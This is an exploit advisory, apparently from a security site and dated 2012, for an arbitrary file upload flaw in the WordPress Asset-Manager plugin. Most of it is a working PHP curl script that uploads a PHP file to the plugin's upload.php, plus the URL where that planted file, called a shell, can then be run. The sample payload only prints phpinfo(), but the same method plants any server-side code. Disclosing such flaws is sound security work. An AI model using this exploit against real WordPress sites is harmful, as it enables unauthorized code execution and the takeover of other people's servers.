WordPress Plugins Asset Manager Shell Upload Exploit

Summary

WordPress Asset-Manager PHP suffers from File Upload Vulnerability

Credit:

The information has been provided by Sammy FORGIT.


Details

Vulnerable Systems:
 * WordPress Asset-Manager PHP

Exploit :
PostShell.php
<?php

$uploadfile=’lo.php’;
$ch =
curl_init(‘http://www.exemple.com/wordpress/wp-content/plugins/asset-manager/upload.php’);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array(‘Filedata’=>’@$uploadfile’));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print ‘$postResult’;

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/assets/temp/lo.php

lo.php
<?php
phpinfo();
?>

Disclosure Timeline:
Published: 2012-06-05

Categories: Exploits